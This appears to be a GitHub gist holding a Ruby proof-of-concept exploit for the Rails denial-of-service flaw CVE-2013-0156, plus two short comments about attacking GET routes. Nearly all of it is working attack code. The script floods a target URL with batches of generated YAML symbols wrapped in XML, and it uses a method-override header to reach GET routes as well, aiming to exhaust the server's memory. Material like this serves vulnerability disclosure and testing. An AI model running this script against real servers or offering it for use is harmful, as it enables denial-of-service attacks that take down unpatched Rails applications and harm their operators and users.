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Proof-of-Concept exploit for Rails DoS (CVE-2013-0156)

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rails_dos.rb
Ruby
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#!/usr/bin/env ruby
#
# Proof-of-Concept exploit for Rails DoS (CVE-2013-0156)
#
# ## Advisory
#
# https://groups.google.com/forum/#!topic/rubyonrails-security/61bkgvnSGTQ/discussion
#
# ## Synopsis
#
# $ rails_dos URL PARAM
#
# ## Dependencies
#
# $ gem install ronin-support
#
# ## License
#
# Copyright (c) 2013 Postmodern
#
# This exploit is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This exploit is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this exploit. If not, see <http://www.gnu.org/licenses/>.
#
# ## Shoutz
#
# drraid, cd, px, sanitybit, sysfail, trent, dbcooper, goldy, coderman, letch,
# starik, toby, jlt, HockeyInJune, cloud, zek, natron, amesc, postmodern,
# mephux, nullthreat, evoltech, flatline, r0bglesson, @ericmonti, @charliesome,
# @homakov, @envygeek, @chendo, @bitsweat (for introducing the vuln),
# @tenderlove (for fixing it), Fun Town Auto, garbage pail kids, hipsters,
# the old Jolly Inn, Irvin Santiago, that heavy metal dude who always bummed
# cigarettes off us, SophSec crew and affiliates.
#
 
require 'ronin/fuzzing'
require 'ronin/network/http'
require 'ronin/ui/output'
 
include Ronin::Network::HTTP
include Ronin::UI::Output::Helpers
 
unless ARGV.length == 2
$stderr.puts "usage: #{$0} URL PARAM"
exit -1
end
 
url = ARGV[0]
param = ARGV[1]
 
width = 15
batch = 400
 
symbols = String.generate([:alpha, 1..width])
 
symbols.each_slice(batch).each_with_index do |symbols,i|
yaml = ['---', *symbols.map { |symbol| ":#{symbol}: true" }].join("\n")
 
xml = %{
<?xml version="1.0" encoding="UTF-8"?>
<#{param} type="yaml">#{yaml}</#{param}>
}.strip
 
print_info "POSTing batch ##{i + 1} of #{batch} Symbols to #{url} ..."
 
response = http_post(
:url => url,
:headers => {
:content_type => 'text/xml',
:x_http_method_override => 'get'
},
:body => xml
)
 
print_debug "Received #{response.code} response"
end

GET is also vulnerable since you can still have a request body for GETs.

@chendo Updated to use X-Http-Method-Override, now works against GET routes.

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